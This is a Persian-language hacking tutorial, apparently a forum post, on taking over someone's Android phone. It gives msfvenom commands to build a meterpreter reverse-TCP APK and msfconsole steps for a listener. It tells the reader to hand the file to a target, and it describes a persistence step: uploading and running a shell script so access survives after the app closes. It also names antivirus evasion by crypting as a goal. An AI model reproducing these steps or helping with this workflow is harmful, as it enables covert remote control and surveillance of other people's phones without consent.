1- ساخت پایلود و گرفتن دسترسی از گوشی + بک دور

2- بایند کردن 2 فایل اندروید و دسترسی گرفتن از گوشی

3- بایند و کردن 2 برنامه اندروید و کریپت کردن آن (حداقل بالای 10 تا انتی نمیشناسن)

4- ساخت برنامه ایی برای انجام کار های بالا بصورت اتوماتیک

و....


خب طبق زیر پیش بریم:

کد:

msfvenom android/meterpreter/reverse_tcp LHOST=IP PUBLIC LPORT=PORT -o /root/test.apk

و سپس

کد:



msfconsole

use exploit/multi/handler

set payload android/meterpreter/reverse_tcp

set LHOST 192.168.1.4

exploit



که در آخر وقتی فایل رو بدید به طرف دسترسی براتون میاد مثل زیر :







ولی خب وقتی طرف از برنامه بیاد بیرون چی ؟ دسترسی ما میپره بخاطر همین
باید کدی بنویسیم تا دسترسی رو ماندگار کنیم طبق زیر عمل میکنیم







و وقتی سیو کردیم

کد:



cd /
cd /sdcard/Download
ls
upload anything.sh


اگر کارت حافظه نداشت میشه در یه جای دیگه هم آپلود کرد

با دستور زیر یک shell باز میکنیم:

shell

و به قسمتی که فایل رو اپلود کردیم میریم و دستور زیر را میزنیم

• کد:
  

  sh anything.sh

وقتی ایجاد شد اگر اشتباه نکنم کنترل c رو بزنیم خارجی میشیم و میتونیم از سشن بیرون بیایم و امتحان کنیم